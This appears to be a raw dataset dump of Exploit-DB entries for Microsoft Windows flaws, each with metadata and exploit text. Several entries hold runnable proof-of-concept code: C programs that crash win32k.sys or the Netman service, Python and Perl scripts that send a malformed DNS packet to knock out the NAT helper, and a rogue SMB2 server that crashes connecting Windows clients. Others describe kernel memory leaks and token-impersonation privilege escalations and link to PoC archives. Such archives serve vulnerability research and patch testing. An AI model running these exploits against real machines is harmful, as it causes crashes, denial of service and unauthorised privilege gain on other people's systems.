deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14611
Description: Microsoft Windows - 'SfnLOGONNOTIFY' Privilege Escalation (MS10-048)
Type: dos
Platform: windows
Date: 2010-08-10
Author: MJ0011

Exploit:
/*
source: https://www.securityfocus.com/bid/39630/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.

Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue. 
*/

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
 
getchar();
 
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
 
if (hwnd == 0)
(
   printf ("cannot find DDEMLEvent Window! \ n");
   return 0;
)
 
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
 
 
return 0;
)
Exploit-DB #42230
Description: Microsoft Windows - 'win32k!NtGdiMakeFontDir' Kernel Stack Memory Disclosure
Type: dos
Platform: windows
Date: 2017-06-22
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1191

We have discovered that the win32k!NtGdiMakeFontDir system call discloses large portions of uninitialized kernel stack memory to user-mode clients.

The attached proof of concept code (which is specific to Windows 7 32-bit) works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invoking the affected win32k!NtGdiMakeFontDir syscall. As a result, we can observe that a number of leftover bytes from the stack are indeed leaked to user-mode via the output structure:

--- cut ---
00000000: 01 00 00 00 00 02 95 00 00 00 57 69 6e 64 6f 77 ..........Window
00000010: 73 21 20 57 69 6e 64 6f 77 73 21 20 57 69 6e 64 s! Windows! Wind
00000020: 6f 77 73 21 00 10 03 01 01 00 00 00 00 00 00 00 ows!............
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 03 40 00 08 48 00 48 00 66 06 .......@..H.H.f.
00000050: 00 00 1b 02 00 00 00 f4 01 00 00 00 00 08 07 e8 ................
00000060: 03 86 02 1f a8 01 02 00 00 00 00 00 00 76 00 00 .............v..
00000070: 00 08 00 00 00 41 77 69 6e 65 5f 74 65 73 74 00 .....Awine_test.
00000080: 77 69 6e 65 5f 74 65 73 74 00 4d 65 64 69 75 6d wine_test.Medium
00000090: 00 41 41 41 41 00 41 41 41 41 41 41 41 41 41 41 .AAAA.AAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 00 41 41 41 41 41 41 AAAAAAAAA.AAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? AAAAAAAAAAA.....
--- cut ---

In order for the PoC program to work, the attached wine_test.ttf font must be present in the current working directory.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42230.zip
Exploit-DB #15894
Description: Microsoft Windows - Class Handling (MS10-073)
Type: dos
Platform: windows
Date: 2011-01-02
Author: Tarjei Mandt

Exploit:
#include <windows.h>

/*
Source:
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
*/

int main(int argc, char **argv)
{
	WNDCLASSA Class = {0};
	CREATESTRUCTA Cs = {0};
	FARPROC MenuWindowProcA;
	HMODULE hModule;
	HWND hWindow;

	Class.lpfnWndProc = DefWindowProc;
	Class.lpszClassName = "Class";
	Class.cbWndExtra = sizeof(PVOID);

	RegisterClassA(&Class);

	hModule = LoadLibraryA("USER32.DLL");

	MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");

	hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);

	// set the pointer value of the (soon to be) popup menu structure
	SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);

	// set WND->fnid = FNID_MENU
	MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);

	// trigger -> ExPoolFree(0x80808080)
	DestroyWindow(hWindow);

	return 0;
}
Exploit-DB #38794
Description: Microsoft Windows - Cursor Object Memory Leak (MS15-115)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Nils Sommer

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=510

The attached poc crashes 32-bit Windows 7 with a screen resolution of 1024x768 and 32bit color depth. The crash occurs during a memmove opperation while copying the cursor content from unmapped memory. This could potentially be used by an attacker to leak kernel memory.

When reproducing this issue in VMWare, it is necessary to remove VMWare tools. In QEMU the issue reproduces reliably.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38794.zip
Exploit-DB #39232
Description: Microsoft Windows - devenum.dll!DeviceMoniker::Load() Heap Corruption Buffer Underflow (MS16-007)
Type: dos
Platform: windows
Date: 2016-01-13
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=594

Heap corruption buffer underflow in devenum.dll!DeviceMoniker::Load()

There exists a buffer underflow vulnerability in devenum.dll!DeviceMoniker::Load when attempting to null terminate a user supplied string. The function as it exists on Windows 7 x86 is implemented as follows:

signed int __stdcall CDeviceMoniker::Load(CDeviceMoniker *this, struct IStream *a2)
{
  struct IStream *v2; // esi@1
  signed int v3; // edi@1
  const unsigned __int16 *v4; // ebx@2
  char v6; // [sp+8h] [bp-4h]@1

  v2 = a2;
  v3 = a2->lpVtbl->Read(a2, &a2, 4, (ULONG *)&v6); // read a 4 byte user controlled length
  if ( v3 >= 0 )
  {
    v4 = (const unsigned __int16 *)operator new[]((unsigned int)a2); // allocate length
    if ( v4 )
    {
      v3 = v2->lpVtbl->Read(v2, (void *)v4, (ULONG)a2, (ULONG *)&v6); // read data into new buffer
      if ( v3 >= 0 )
      {
        v4[((unsigned int)a2 >> 1) - 1] = 0; // BAD BAD BAD 
        v3 = CDeviceMoniker::Init(this, v4);
      }
      operator delete[]((void *)v4);
    }
    else
    {
      v3 = [PII_REDACTED];
    }
  }
  return v3;
}

The issue comes in when we specify a length of 1 with the first read. A buffer of length 1 will be allocated and 1 byte will be read into it. But, when the code goes to NULL terminate this buffer it divides the length by 2 and subtracts 2 (v4 is a wchar_t) leading to "\x00\x00" being written 2 bytes before the allocated buffer.

This object "device.1" or {4315D437-5B8C-11D0-BD3B-00A0C911CE86} is reachable from any bit of software that performs an IPersistStream::Load on an arbritrary object. This vulnerable object is also reachable from any bit of software performing an OleLoad(IID_IOleObject) call with an with an attacker controlled CLSID -- as is the case in Office.

In the attached Word Document PoC the OLE object StdObjLink or {[PII_REDACTED]-c[PII_REDACTED]00046} is embedded with data pointing to the device.1 object. The StdObjLink supports IOleObject and IPersistStorage interfaces. When a user single clicks the object in the document an OleLoad call will load the StdObjLink object and call its IPersistStorage::Load (ole32!CDefLink::Load()) method. StdObjLink will then read the device.1 CLSID from the \x01Ole stream and call OleLoadFromStream with an interface ID of IMoniker. This call will then result in device.1 being loaded and the IPersistStream::Load() (devenum!DeviceMoniker::Load()) method being called.

The DeviceMoniker::Load() method should limit the user supplied size to sane values that are 2 byte aligned.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39232.zip
Exploit-DB #6330
Description: Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-08-29
Author: Ac!dDrop

Exploit:
CreateDIBPatternBrushPt Heap Overflow DOS
By Ac!dDrop



This was tested on


Windows XP Sp2
GDI32.dll 5.1.2600.3099
Internet explorer 6.0.2900.2180



------
Causes Explorer.exe to crash.
and causes Internet explorer to close silently.

------

This is work in progress , i am still trying to make it run arbitary code.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6330.rar (2008-EMF_DOS.rar)

# milw0rm.com [2008-08-29]
Exploit-DB #4044
Description: Microsoft Windows - GDI+ '.ICO' File Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-06-07
Author: Kad

Exploit:
####################################
# Author : kad                     #
# Mail   : kad[at]highsecu[dot]com #
# Site   : http://www.highsecu.com #
####################################

highsecu.ico - Microsoft GDI+ Integer division by zero flaw handling .ICO files
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4044.zip (06072007-CVE-2007-2237.zip)

# milw0rm.com [2007-06-07]
Exploit-DB #27051
Description: Microsoft Windows - Graphics Rendering Engine Multiple Memory Corruption Vulnerabilities
Type: dos
Platform: windows
Date: 2006-01-09
Author: cocoruder

Exploit:
source: https://www.securityfocus.com/bid/16167/info

Microsoft Windows WMF graphics-rendering engine is affected by multiple memory-corruption vulnerabilities. These issues affect the 'ExtCreateRegion' and 'ExtEscape' functions.

These problems present themselves when a user views a malicious WMF-formatted file containing specially crafted data.

Reports indicate that these issues lead to a denial-of-service condition. Earlier conjectures that the issues may result in the execution of arbitrary code appear at this point to be incorrect. Attackers could force a crash or restart of the viewing application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27051.rar
Exploit-DB #6732
Description: Microsoft Windows - InternalOpenColorProfile Heap Overflow (PoC) (MS08-046)
Type: dos
Platform: windows
Date: 2008-10-12
Author: Ac!dDrop

Exploit:
EMR_SETICMPROFILEA Heap Overflow DOS

By Ac!dDrop

related to MS08-046

Tested on windows Xp professional Sp2
mscms.dll 5.1.2600.2709
gdi32.dll 5.1.2600.2818 

Causes Windows explorer and Internet explorer to crash.

You can run arbitary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6732.rar (2008-emf_MS08-046.rar)

# milw0rm.com [2008-10-12]
Exploit-DB #2672
Description: Microsoft Windows - NAT Helper Components 'ipnathlp.dll' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-10-28
Author: h07

Exploit:
#!/usr/bin/python
# Microsoft Windows NAT Helper Components (ipnathlp.dll) 0day Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on XP SP2 Polish
# Details:
#
# Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
#
# [Process svchost.exe, module ipnathlp]
# --> MOV DL, [EAX]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
##

from socket import *
from time import sleep

host = "192.168.0.1"
port = 53

buffer = ( # DNS (query)
"\x6c\xb6" # Transaction ID: 0x6cb6
"\x01\x00" # Flags: 0x0100 (Standard query)
"\x00\x00" # Questions: 0
"\x00\x00" # Answer RRs: 0
"\x00\x00" # Authority RRs: 0
"\x00\x00" # Additional RRs: 0 <-- Bug is here (0, 0, 0, 0)
"\x03\x77\x77\x77" #
"\x06\x67\x6f\x6f" #
"\x67\x6c\x65\x03" #
"\x63\x6f\x6d\x00" # Name: www.google.com
"\x00\x01" # Type: A (Host address)
"\x00\x01" # Class: IN (0x0001)
)

s = socket(AF_INET, SOCK_DGRAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()

# EoF

# milw0rm.com [2006-10-28]
Exploit-DB #2682
Description: Microsoft Windows - NAT Helper Components Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-10-30
Author: x82

Exploit:
#!/usr/bin/perl
##
## Microsoft Windows NAT Helper Components Remote DoS Exploit (2)
## **************************************************************
##
## .details
## --------
## Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
##
## .info
## -----
## code by x82 <x82_ [at] bk [dot] ru>
## bug by h07  <h07 [at] interia [dot] pl>
##
## .greetz
## -------
## ... goes out to triple6, wolf, lux2, EaTh, darkkilla, 2letterman .. ;)
##
##

use warnings;
use diagnostics;
use strict;

use IO::Socket;


my $host = $ARGV[0]; # 192.168.0.1
my $port = 53; # standard port
my $payload =
# by h07
"\x6c\xb6".
"\x01\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00". # <-- Bug is here 0x0000
"\x03\x77\x77\x77".
"\x06\x67\x6f\x6f".
"\x67\x6c\x65\x03".
"\x63\x6f\x6d\x00".
"\x00\x01".
"\x00\x01";

my $length = length($payload);

if((! $host || $host !~ /^\d{1,3}(\.\d{1,3}){3}$/))
{
	print "\n----------------------------------------------------------------------\n";
	print "Microsoft Windows NAT Helper Components Remote DoS Exploit\n";
	print "exploit by x82 <x82_ [at] bk [dot] ru>\n";
	print "bug discovered by h07 <h07 [at] interia [dot] pl>\n";
	print "----------------------------------------------------------------------";
	print "\n";
	print "usage: perl $0 192.168.0.1\n";
	exit;
}

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port);
unless ($socket) { die "[-] Can\'t connect to $host" }

print "\n";
print "[+] connection established\n";
print "[*] Sending payload ..." . "(size: $length)\n";
sleep(5);

print $socket $payload;

print "[+] ok - payload sent\n";


## 29.10.2006

# milw0rm.com [2006-10-30]
Exploit-DB #1104
Description: Microsoft Windows - Netman Service Local Denial of Service
Type: dos
Platform: windows
Date: 2005-07-14
Author: bkbll

Exploit:
/* Windows Netman Service Local DOS Vulnerability.
 * 
 * By bkbll bkbll#cnhonker.net 2005-7-14 2:49??
 *
 * TESTED ON win2k sp4
 * 
 * ??Netman???svchost.exe -k netsvcs??, ????????,????????:
 * 
 * EventSystem,Irmon,RasMan,NtmsSvc,SENS
 * 
 */
#define _WIN32_DCOM

#include <stdio.h>
#include <stdlib.h>
#include <objbase.h>
#include <unknwn.h>
#include <windows.h>

#pragma comment(lib,"ole32")
    
MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
	virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
	virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
	virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
	virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
	virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
	virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
	virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
IID IID_IEnumNetConnection  = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

//???
main(int argc,char **argv)
{
	VCConnectionManagerEnumConnection *clientcall;
	HRESULT hr;
	
	printf("Windows Netman Service Local DOS Vulnerability..\n\n");
	//???
	CoInitializeEx(NULL,COINIT_MULTITHREADED);

	printf("DCOM Client Trying started\n");
	hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
	if (hr != S_OK)
	{
		printf("CoCreateInstanceEx failed:%d\n",GetLastError());
		return -1;
	}
	printf("Exploit netman service ....\n");
	hr = clientcall->skip(0x80000001);//(void**)&p);
	if(SUCCEEDED(hr))
	{
		printf("Call client proc Success.\n");
	}
	else
		printf("Call client proc failed:%d\n",GetLastError());
	hr = clientcall->Release();
	CoUninitialize();
	printf("Client exited.\n");
	return 1;
}

// milw0rm.com [2005-07-14]
Exploit-DB #43515
Description: Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation
Type: dos
Platform: windows
Date: 2018-01-11
Author: Google Security Research

Exploit:
Windows: NtImpersonateAnonymousToken AC to Non-AC EoP
Platform: Windows 10 1703 and 1709
Class: Elevation of Privilege

Summary:
The check for an AC token when impersonating the anonymous token doesn’t check impersonation token’s security level leading to impersonating a non-AC anonymous token leading to EoP.

Description:


There's a missing check for impersonation level in NtImpersonateAnonymousToken when considering if the caller is currently an AC. This results in the function falling into the restricted token case if the caller is impersonating a non AC token at identification or below. Some example code is shown highlighting the issue.

SeCaptureSubjectContext(&ctx);
PACCESS_TOKEN token = ctx.ClientToken;
if (!ctx.ClientToken) <--- Should check the token's impersonation level here, and fallback to the PrimaryToken.
  token = ctx.PrimaryToken;
if (token->Flags & 0x4000) {
  // ... Impersonate AC anonymous token.
} else if (!SeTokenIsRestricted(PsReferencePrimaryToken())) { <-- AC PrimaryToken isn't restricted so this check passes
  // ... Impersonate normal anonymous token.
}

For example when using a split-token admin you can trivially get the linked token and impersonate that. As an AC token isn't restricted this results in impersonating the normal anonymous token which is arguably less restricted than the AC token in some cases and is certainly less restricted than the anonymous AC token which is normally created using SepGetAnonymousToken. For example you can open objects with a NULL DACL if you can traverse to them or open devices which would normally need the special AC device object flag for traversal across the object namespace. You can also access the anonymous token's device map and modify it, potentially leading to bypass of symbolic link protections in certain cases. 

Proof of Concept:

I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user level split-token admin.
3) Once complete a dialog should appear indicating the operation is a success.

Expected Result:
The AC anonymous token is impersonated, or at least an error occurs.

Observed Result:
The Non-AC anonymous token is impersonated.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43515.zip
Exploit-DB #43516
Description: Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation
Type: dos
Platform: windows
Date: 2018-01-11
Author: Google Security Research

Exploit:
Windows: NtImpersonateAnonymousToken LPAC to Non-LPAC EoP
Platform: Windows 10 1703 and 1709 (not tested Windows 8.x)
Class: Elevation of Privilege

Summary:
When impersonating the anonymous token in an LPAC the WIN://NOAPPALLPKG security attribute is ignored  leading to impersonating a non-LPAC token leading to EoP.

Description:

When running in LPAC the WIN://NOAPPALLPKG attribute is used to block the default use of the ALL APPLICATION PACKAGES sid. When impersonating the anonymous token this attribute isn't forwarded on to the new token in SepGetAnonymousToken. This results in being able to impersonate a "normal" AC anonymous token which could result in getting more access to the system (such as anything which is marked as ANONYMOUS LOGON and ALL APPLICATION PACKAGES but not ALL RESTRICTED APPLICATION PACKAGES or a specific capability SID). 

Proof of Concept:

I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge LPAC and then execute the exploit. 

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user
3) Once complete a dialog should appear indicating the operation is a success.

Expected Result:
The anonymous token is an LPAC.

Observed Result:
The anonymous token is a normal AC.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43516.zip
Exploit-DB #38795
Description: Microsoft Windows - Race Condition DestroySMWP Use-After-Free (MS15-115)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Nils Sommer

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=509

The attached testcase crashes Window 7 32-bit with Special Pool enabled on win32k.sys due to a use-after-free condition. The bug appears to be a race condition between two threads and multiple runs on the PoC might be required to trigger the bug. This is more reliable on systems with multiple cores.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38795.zip
Exploit-DB #12524
Description: Microsoft Windows - SMB2 Negotiate Protocol '0x72' Response Denial of Service
Type: dos
Platform: windows
Date: 2010-05-07
Author: Jelmer de Hen

Exploit:
#!/usr/bin/python

# === EDIT – this exploit appears to be exactly the same one of one which was already found
# and fixed notified by Laurent Gaffié, i did not know this but his blog post can be found here:
# http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html

import socket,sys,time

print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash (leaves the system hanging and unresponsive) -- tested on Win 7 build 2600"
print "Written by Jelmer de Hen"
print "Published at http://h.ackack.net/?p=387"
smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
smb.bind(("", 445))
smb.listen(1)
smbconn, addr = smb.accept()
print "[+] "+str(addr)+" is trying to make connection to us over port 445"
while 1:
	new_packet = smbconn.recv(1024)
	print "[+] Waiting for a negotiate request packet"
	if new_packet[8]=="r":
		print "[+] Received the negotiate request packet injecting the 4 bytes now..."
		smbconn.send("\x00\x00\x00\x01")
		break
print "[+] Closing connection... This is part of the exploit"
smbconn.close()
print "[+] Done, if all went good then the box on the other side crashed"